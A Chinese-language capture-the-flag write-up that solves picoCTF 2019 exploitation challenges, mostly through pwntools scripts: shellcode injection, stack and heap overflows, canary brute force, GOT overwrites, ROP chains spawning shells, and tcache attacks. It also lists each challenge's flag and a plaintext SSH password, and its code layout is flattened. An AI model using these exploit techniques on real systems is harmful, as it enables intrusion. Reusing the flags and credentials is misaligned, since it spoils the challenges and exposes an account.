practice-run-1 ssh远程连接,直接运行程序即可得到flag
1 2 3 4 5 kangel@pico-2019-shell1:~$ cd /problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e kangel@pico-2019-shell1:/problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e$ ls run_this kangel@pico-2019-shell1:/problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e$ ./run_this picoCTF{g3t_r3adY_2_r3v3r53}
handy-shellcode 利用pwntools进行ssh连接,然后写进shellcode
1 2 3 4 5 6 7 8 from pwn import *s=ssh(host="2019shell1.picoctf.com" ,user="kangel" ,password="2314838574" , port=22 ) s.set_working_directory("/problems/handy-shellcode_2_6ad1f834bdcf9fcfb41200ca8d0f55a6" ) p = s.process("./vuln" ) p.recvuntil("shellcode:\n" ) shellcode = asm(shellcraft.sh()) p.sendline(shellcode) p.interactive()
拿到shell之后
picoCTF{h4ndY_d4ndY_sh311c0d3_707f1a87}
slippery-shellcode 和handy-shellcode类似,进行右填充即可
1 2 3 4 5 6 7 8 9 from pwn import *s=ssh(host="2019shell1.picoctf.com" ,user="kangel" ,password="2314838574" , port=22 ) s.set_working_directory("/problems/slippery-shellcode_5_5cea4ae04c57923484bda350da9f4015" ) p = s.process("./vuln" ) p.recvuntil("shellcode:\n" ) shellcode = asm(shellcraft.sh()) payload = shellcode.rjust(512 ,'\x00' ) p.sendline(payload) p.interactive()
picoCTF{sl1pp3ry_sh311c0d3_ecc37b22}
OverFlow 0 题目给了源代码和程序,按照一般的pwn题解法,还是直接用ida查看程序
程序发生段错误则执行sigsegv_handler函数,该函数刚好打印flag,所以只要栈溢出到ebp即可
1 2 kangel@pico-2019-shell1:/problems/overflow-0_5_db665826dabb99c44758c97abfd8c4c6$ ./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa picoCTF{3asY_P3a5y4a888b8e}
OverFlow 1 返回地址覆盖成flag函数地址即可
1 2 3 4 5 6 7 8 9 10 from pwn import *s=ssh(host="2019shell1.picoctf.com" ,user="kangel" ,password="2314838574" , port=22 ) s.set_working_directory("/problems/overflow-1_6_0a7153ff536ac8779749bc2dfa4735de" ) p = s.process("./vuln" ) flag_addr = 0x080485E6 p.recvuntil("happens: " ) payload = 0x48 *'a' + 'aaaa' + p32(flag_addr) p.sendline(payload) p.interactive()
picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5b80c9cbf}
OverFlow 2 返回地址覆盖成flag地址,32位参数覆写直接在栈中
1 2 3 4 5 6 7 8 9 from pwn import *s=ssh(host="2019shell1.picoctf.com" ,user="kangel" ,password="2314838574" , port=22 ) s.set_working_directory("/problems/overflow-2_1_210f23786438d7f7e527f4901367a74b" ) p = s.process("./vuln" ) flag_addr = 0x080485E6 p.recvuntil("string: " ) payload =0xb8 *'a' + 'aaaa' + p32(flag_addr) +'aaaa' + p32(0xDEADBEEF ) + p32(0xC0DED00D ) p.sendline(payload) p.interactive()
picoCTF{arg5_and_r3turn5001d1db0}
NewOverFlow 1 在Ubuntu18的环境中,直接将返回地址覆盖成flag地址,flag函数中的printf会出现段错误,需要通过执行一些其他函数来调整寄存器或对齐,这里先执行puts函数,然后执行flag函数
1 2 3 4 5 6 7 8 9 10 11 from pwn import *s=ssh(host="2019shell1.picoctf.com" ,user="kangel" ,password="2314838574" , port=22 ) s.set_working_directory("/problems/newoverflow-1_4_3fc8f7e1553d8d36ded1be37c306f3a4" ) p = s.process("./vuln" ) flag_addr = 0x0000000000400767 puts_addr = 0x00000000004005f0 p.recvuntil("Welcome to 64-bit. Give me a string that gets you the flag: " ) payload = 0x48 *'a' + p64(puts_addr) + p64(flag_addr) p.sendline(payload) p.interactive()
picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_72d3e39f}
NewOverFlow 2 这道题需要用到ret2csu来覆写参数,具体参见https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop-zh/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *s=ssh(host="2019shell1.picoctf.com" ,user="kangel" ,password="2314838574" , port=22 ) s.set_working_directory("/problems/newoverflow-2_1_bcd752d56a87efb5dfc9803b461809f7" ) p = s.process("./vuln" ) elf=ELF("./vuln" ) flag_addr = 0x000000000040084d balance_got = elf.got['getegid' ] main_addr = elf.symbols['main' ] pop_rdi = 0x4009a3 f1_addr = 0x400767 f2_addr = 0x400781 win_addr = 0x4007be p.recvuntil("numbers?" ) payload = 0x48 *'a' + p64(0x4005f0 ) + p64(pop_rdi) + p64(0xdeadbeef ) payload += p64(f1_addr) csu_end_addr = 0x40099a csu_front_addr = 0x400980 payload += p64(csu_end_addr) + p64(0 ) + p64(1 ) + p64(balance_got) + p64(0xBAADCAFE ) + p64(0xCAFEBABE ) + p64(0xABADBABE ) payload += p64(csu_front_addr) + 0x38 *'a' + p64(f2_addr) + p64(main_addr) p.sendline(payload) p.recvuntil("numbers?" ) payload = 0x48 *'a' + p64(win_addr) p.sendline(payload) p.interactive()
结果如下
picoCTF{r0p_1t_d0nT_st0p_1t_3b39d86e}
CanaRy 程序分析 首先读入canary.txt到.bss中,将该canary写进栈中。读入数据,判断是否覆盖掉canary
攻击思路 首先爆破canary
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 canary = "" for i in range(4 ): for a in range(256 ): canary_temp = canary + chr(a) p = s.process("./vuln" ) p.sendlineafter("entry:\n> " , str(0x100 )) payload = "a" * 0x20 + canary_temp p.sendafter("Input> " , payload) result = p.recvline() log.info(result) p.close() if "Stack Smashing" not in result: canary += chr(a) log.success("canary found :" + canary) pause() break
得到canary为wrvW
,然后覆盖掉返回地址为display_flag地址即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *s=ssh(host="2019shell1.picoctf.com" ,user="kangel" ,password="2314838574" , port=22 ) s.set_working_directory("/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe" ) elf = ELF('./vuln' ) print hex(elf.symbols['display_flag' ]) canary = "wrvW" for i in range(16 ): p = s.process("./vuln" ) payload = 'a' *0x20 + canary + "b" * (0xc + 0x4 )+'\xed\x97' p.recvuntil("entry:\n> " ) p.sendline(str(0x100 )) p.recvuntil("Input> " ) p.send(payload) result = p.recvall() log.info(result) p.close() if "picoCTF" in result: log.success("flag found!" ) break
picoCTF{cAnAr135_mU5t_b3_r4nd0m!_40765d8a}
leap-frog 程序分析:要使win1、win2、win3都不为零才能打印flag
攻击思路:直接写数据到win中,简单粗暴
1 2 3 4 5 6 7 8 9 10 11 from pwn import *s=ssh(host="2019shell1.picoctf.com" ,user="kangel" ,password="2314838574" , port=22 ) s.set_working_directory("/problems/leap-frog_0_b02581eeadf3f35f4356e23db08bddf9" ) p = s.process("./rop" ) flag_addr = 0x080486B3 gets_addr = 0x08048430 p.recvuntil("input> " ) payload = 'a' *0x18 +'aaaa' + p32(gets_addr) + p32(flag_addr) +p32(0x0804a03d ) p.sendline(payload) p.sendline('2222' ) p.interactive()
picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_8783895b}
messy-malloc 一道简单的堆题,注意环境是libc.2.27.so,引入了tcache机制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *p = remote("2019shell1.picoctf.com" ,"49920" ) def print_flag () : p.recvuntil("your command:" ) p.sendline("print-flag" ) def login (length,name) : p.recvuntil("your command:" ) p.sendline("login" ) p.recvuntil("of your username" ) p.sendline(str(length)) p.recvuntil("enter your username" ) p.sendline(name) def logout () : p.recvuntil("your command:" ) p.sendline("logout" ) payload = "aaaaaaaa" + p64(0x4343415F544F4F52 ) + p64(0x45444F435F535345 ) login(32 ,payload) logout() login(32 ,'kangel' ) print_flag() p.interactive()
picoCTF{g0ttA_cl3aR_y0uR_m4110c3d_m3m0rY_64bcc6a3}
stringzz 程序分析:将flag写进内存,直接爆破吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *s=ssh(host="2019shell1.picoctf.com" ,user="kangel" ,password="2314838574" , port=22 ) s.set_working_directory("/problems/stringzz_0_973c705187166a133a5293d2fc93b552" ) for i in range(100 ): p=s.process("./vuln" ) p.recvuntil("back:\n" ) payload = '%{}$s' .format(i) p.sendline(payload) data = p.recvall() p.close() if 'pico' in data: print data break
picoCTF{str1nG_CH3353_b7f47023}
GoT 查看保护
1 2 3 4 5 6 [+] checksec for '/mnt/hgfs/shared/picoCTF/got/vuln' Canary : Yes NX : Yes PIE : No Fortify : No RelRO : Partial
思路很简单,覆写got表即可,将exit的地址换成win
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *s=ssh(host="2019shell1.picoctf.com" ,user="kangel" ,password="2314838574" , port=22 ) s.set_working_directory("/problems/got_4_97e6bb0e913c179989678416d8a8fb22" ) p = s.process("./vuln" ) elf = ELF("./vuln" ) exit_got = elf.got['exit' ] win_addr = elf.sym['win' ] print exit_gotprint win_addrp.recvuntil("address\n" ) p.sendline(str(exit_got)) p.recvuntil("value?\n" ) p.sendline(str(win_addr)) p.interactive()
picoCTF{A_s0ng_0f_1C3_and_f1r3_db12a9ed}
pointy 程序逻辑漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *s=ssh(host="2019shell1.picoctf.com" ,user="kangel" ,password="2314838574" , port=22 ) s.set_working_directory("/problems/pointy_2_030e643c8a0e842516b1c6a3ff826144" ) p = s.process("./vuln" ) elf = ELF("./vuln" ) win_addr = elf.sym['win' ] p.recvuntil("name of a student" ) p.sendline("aaaa" ) p.recvuntil("professor of a student " ) p.sendline('bbbb' ) p.recvuntil("give the score " ) p.sendline('aaaa' ) p.recvuntil("will be scored " ) p.sendline("bbbb" ) p.recvuntil("Input the score: " ) p.sendline(str(win_addr)) p.recvuntil("name of a student" ) p.sendline("bbbb" ) p.recvuntil("professor of a student " ) p.sendline('aaaa' ) p.recvuntil("give the score " ) p.sendline('bbbb' ) p.recvuntil("will be scored " ) p.sendline("aaaa" ) p.recvuntil("Input the score: " ) p.sendline(str(100 )) p.interactive()
seed_spring 利用ctypes生成一样的随机序列,本地与服务器可能会有延迟,测试延迟范围脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *from ctypes import *libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6" ) for i in range(-10 ,10 ) : p = remote("2019shell1.picoctf.com" ,"4160" ) seed = libc.time(0 ) libc.srand(seed+i) print i p.recvuntil("height: " ) p.sendline(str(libc.rand()&0xf )) data = p.recvline() print data p.close() if "LEVEL" in data: break
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *from ctypes import *libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6" ) p = remote("2019shell1.picoctf.com" ,"4160" ) seed = libc.time(0 ) delay = 7 libc.srand(seed - delay) for i in range(30 ) : p.recvuntil("height: " ) p.sendline(str(libc.rand()&0xf )) data = p.recvline() print data p.interactive()
picoCTF{pseudo_random_number_generator_not_so_random_24ce919be49576c7df453a4a3e6fbd40}
limit 整数溢出,首先判断溢出的位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 gef➤ 0x0804865e in replaceIntegerInArrayAtIndex () [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0x64 $ebx : 0x0804a000 → 0x08049f0c → 0x00000001$ecx : 0x1 $edx : 0xffffc378 → 0x00000064 ("d" ?)$esp : 0xffffc388 → 0xffffce18 → 0x00000000$ebp : 0xffffc388 → 0xffffce18 → 0x00000000$esi : 0xf7fb0000 → 0x001d7d6c ("l}" ?)$edi : 0x0 $eip : 0x0804865e → <replaceIntegerInArrayAtIndex+33> nop $eflags : [CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs : 0x0023 $ss : 0x002b $ds : 0x002b $es : 0x002b $fs : 0x0000 $gs : 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffc388│+0x0000: 0xffffce18 → 0x00000000 ← $esp , $ebp 0xffffc38c│+0x0004: 0x080486fc → <main+155> add esp, 0x10 0xffffc390│+0x0008: 0xffffc3a0 → 0x00000000 0xffffc394│+0x000c: 0xfffffff6 0xffffc398│+0x0010: 0x00000064 ("d" ?) 0xffffc39c│+0x0014: 0x0804867b → <main+26> add ebx, 0x1985 0xffffc3a0│+0x0018: 0x00000000 0xffffc3a4│+0x001c: 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ──── 0x8048653 <replaceIntegerInArrayAtIndex+22> add BYTE PTR [ebx-0x3dfef7bb], cl 0x8048659 <replaceIntegerInArrayAtIndex+28> mov eax, DWORD PTR [ebp+0x10] 0x804865c <replaceIntegerInArrayAtIndex+31> mov DWORD PTR [edx], eax → 0x804865e <replaceIntegerInArrayAtIndex+33> nop 0x804865f <replaceIntegerInArrayAtIndex+34> pop ebp 0x8048660 <replaceIntegerInArrayAtIndex+35> ret 0x8048661 <main+0> lea ecx, [esp+0x4] 0x8048665 <main+4> and esp, 0xfffffff0 0x8048668 <main+7> push DWORD PTR [ecx-0x4] ─────────────────────────────────────────────────────────────────── threads ──── [ ───────────────────────────────────────────────────────────────────── trace ──── [ [ ──────────────────────────────────────────────────────────────────────────────── gef➤ x/2wx 0xffffce08-0xa68-40 0xffffc378: 0x00000064 0x0804a000 gef➤ x/2wx 0xffffce08-0xa68-24 0xffffc388: 0xffffce18 0x080486fc gef➤ x/2wx 0xffffce08-0xa68-20 0xffffc38c: 0x080486fc 0xffffc3a0 gef➤
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *s=ssh(host="2019shell1.picoctf.com" ,user="kangel" ,password="2314838574" , port=22 ) s.set_working_directory("/problems/l1im1tl355_1_688adedb3c25bf76cbb2c2a0fe7e9ac3" ) p = s.process("./vuln" ) elf = ELF("./vuln" ) print elf.sym['win' ]p.recvuntil("array\n" ) p.sendline(str(elf.sym['win' ])) p.recvuntil("value\n" ) p.sendline(str(-5 )) p.interactive()
picoCTF{str1nG_CH3353_59c3cf5a}
rop32 32位的系统调用,一般用execve(“/bin/sh”,0,0)获取shell
define __NR_execve 11
1 2 3 4 5 6 7 8 9 10 11 12 13 get_shell: push ebp mov ebp, esp push 0x0068732f ;/sh push 0x6e69622f ;/bin mov ebx,esp ;参数1 mov eax,0x0b ;将系统调用号传给eax mov ecx,0 ;参数2 mov edx,0 ;参数3 int 0x80 ;系统调用指令 mov eax, 0 pop ebp ret
思路:先将”/bin/sh”写到.bss段中,再利用rop完成系统调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *s=ssh(host="2019shell1.picoctf.com" ,user="kangel" ,password="2314838574" , port=22 ) s.set_working_directory("/problems/rop32_0_b4142d4df31cb73e170c77dac234a79a" ) p = s.process("./vuln" ) elf = ELF("./vuln" ) gets_addr = elf.sym['gets' ] main_addr = elf.sym['main' ] bss_addr = 0x080DBFC4 pop_eax_edx_ebx_ret = 0x08056334 pop_edx_ecx_ebx_ret = 0x0806ee91 int_0x80 = 0x08049563 ROPgadget --binary vuln --only "int" p.recvuntil("this one?" ) payload = 0x18 *'a' + 'aaaa' + p32(gets_addr) + p32(main_addr) + p32(bss_addr) p.sendline(payload) p.sendline("/bin/sh" ) p.recvuntil("this one?" ) payload = 0x18 *'a' + 'aaaa' + p32(pop_eax_edx_ebx_ret) + p32(0xb ) + p32(0 ) + p32(bss_addr) payload += p32(pop_edx_ecx_ebx_ret) + p32(0 ) + p32(0 ) + p32(0x080DBFC4 ) + p32(int_0x80) p.sendline(payload) p.interactive()
picoCTF{rOp_t0_b1n_sH_01a585a7}
rop64 64位的系统调用,一般用execve(“/bin/sh”,0,0)获取shell
define __NR_execve 59
1 2 3 4 5 6 7 8 9 10 11 12 13 get_shell: push rbp mov rbp, rsp mov rax,0x0068732f6e69622f ;/bin/sh push rax mov rdi,rsp ;参数1 mov rax,59 ;将系统调用号传给eax mov rsi,0 ;参数2 mov rdx,0 ;参数3 syscall ;系统调用指令 mov rax, 0 pop rbp ret
思路:先将”/bin/sh”写到.bss段中,再利用rop完成系统调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *s=ssh(host="2019shell1.picoctf.com" ,user="kangel" ,password="2314838574" , port=22 ) s.set_working_directory("/problems/rop64_4_a266556e68202c0c42d6c14f6c7102b3" ) p = s.process("./vuln" ) elf = ELF("./vuln" ) gets_addr = elf.sym['gets' ] main_addr = elf.sym['main' ] bss_addr = 0x00000000006BB2D8 pop_rax = 0x00000000004156f4 pop_rdi = 0x0000000000400686 pop_rdx_rsi = 0x000000000044bf39 syscall = 0x000000000047b6ff p.recvuntil("out of this?" ) payload = 0x18 *'a' + p64(pop_rdi) + p64(bss_addr) + p64(gets_addr) + p64(main_addr) p.sendline(payload) p.sendline("/bin/sh" ) p.recvuntil("out of this?" ) payload = 0x18 *'a' + p64(pop_rax) + p64(59 ) + p64(pop_rdi) + p64(bss_addr) payload += p64(pop_rdx_rsi) + p64(0 ) + p64(0 ) + p64(syscall) p.sendline(payload) p.interactive()
picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_5e28dda5}
AfterLife 通过ida和gdb调试可以发现这道题的堆管理机制不是标准的libc2.27堆管理机制,缺少一些检查。因此可以利用没有检查机制的unlink进行攻击。即使
FD=P->fd = target addr -12
BK=P->bk = expect value
这样,unlink之后
FD->bk = BK 即 target addr -12+12=expect value
这里expect value直接设置为shellcode地址会报段错误,因此需要跳转一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *s=ssh(host="2019shell1.picoctf.com" ,user="kangel" ,password="2314838574" , port=22 ) s.set_working_directory("/problems/afterlife_3_d7ce2f2a99c4a2a922485a042076039f" ) p = s.process(argv=['./vuln' , "kangel" ]) dest = int(p.recvuntil('you' ).split('\n' )[1 ]) print hex(dest)exit_got = 0x804d02c payload = p32(exit_got-12 ) payload += p32(dest+8 ) payload += asm(''' jmp sc {} sc: nop ''' .format('nop\n' *100 )+shellcraft.sh())p.sendline(payload) p.interactive()
picoCTF{what5_Aft3r_e5e05866}
SecondLife 如法炮制afterlife
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *p = process("./vuln" ) dest = int(p.recv().split('\n' )[1 ]) print hex(dest)p.sendline('kangel' ) p.recvuntil("useful..." ) exit_got = 0x804d02c payload = p32(exit_got-12 ) payload += p32(dest+8 ) payload += asm(''' jmp sc {} sc: nop ''' .format('nop\n' *100 )+shellcraft.sh())p.sendline(payload) p.interactive()
picoCTF{HeapHeapFlag_8342a39b}
Heap overflow 利用heap overflow将lastname变成unsorted bin,然后如法炮制afterlife
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *p = process('./vuln' ) dest = int(p.recvuntil('Input' ).split('\n' )[1 ]) print hex(dest)exit_got = 0x0804d02c payload = 'a' *8 payload += asm(''' jmp sc {} sc: nop ''' .format('nop\n' *100 )+shellcraft.sh())payload = payload.ljust(0x2a0 -0x4 ) payload += p32(0x49 ).ljust(0x48 ) payload += p32(0x101 ) p.sendlineafter('fullname\n' , payload) payload = p32(0x101 ) payload += p32(exit_got-12 ) payload += p32(dest+8 ) payload = payload.ljust(0x100 -0x4 )+p32(0x101 ) + p32(0x100 ) payload = 'a' *(0x100 -4 )+ payload p.sendlineafter('lastname\n' , payload) p.interactive()
picoCTF{a_s1mpl3_h3ap_04dbf101}
ghostdiary 程序分析:
New page in diary:创建堆块,大小为(0,0xf0]和(0x10f,0x1e0]
Talk with ghost:写入堆块,存在off by null 漏洞
Listen to ghost:打印堆块内容
Burn the page:删除堆块
攻击思路:利用off by null使unsorted合并的时候产生堆块交叉,从而泄露libc基地址。再利用tcache attack将one_gadget覆盖free_hook。需要注意的是不能直接malloc大小为0xf8的堆块,所以可以配合0xf0和0x118使用。
具体exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from pwn import *p = process("/problems/ghost-diary_0_3fe5c3d8597f5f041d53fd64c0d577d2/ghostdiary" ) libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so" ) def create (size,side) : p.recvuntil('> ' ) p.sendline('1' ) p.recvuntil('> ' ) p.sendline(str(side)) p.recvuntil('size:' ) p.sendline(str(size)) def add (page,content) : p.recvuntil('> ' ) p.sendline('2' ) p.recvuntil('Page: ' ) p.sendline(str(page)) p.recvuntil('Content: ' ) p.sendline(content) def delete (page) : p.recvuntil('> ' ) p.sendline('4' ) p.recvuntil('Page: ' ) p.sendline(str(page)) def show (page) : p.recvuntil('> ' ) p.sendline('3' ) p.recvuntil('Page: ' ) p.sendline(str(page)) for i in range(7 ): create(0xf0 ,1 ) for i in range(10 ): create(0x118 ,2 ) for i in range(7 ): delete(i) for i in range(6 ): delete(7 +i) delete(9 +7 ) for i in range(6 ,9 ): delete(7 +i) for i in range(10 ): create(0x118 ,2 ) for i in range(6 ): delete(i) delete(8 ) delete(7 ) create(0x118 ,2 ) add(0 ,0x110 *'a' +p64(0x240 )) add(9 ,0xf0 *'a' +p64(0x100 )+p64(0x141 )) delete(6 ) delete(9 ) for i in range(8 ): create(0x118 ,2 ) show(0 ) p.recvuntil("Content: " ) libc_base = u64(p.recvline()[0 :6 ].ljust(8 ,'\x00' )) - 0x3ebca0 log,success("libc_addr:" +hex(libc_base)) create(0x118 ,2 ) delete(1 ) delete(2 ) delete(0 ) delete(9 ) create(0x118 ,2 ) add(0 ,p64(libc_base + libc.symbols['__free_hook' ])) create(0x118 ,2 ) create(0x118 ,2 ) one_gadget = libc_base + 0x4f322 add(2 ,p64(one_gadget)) delete(1 ) p.interactive()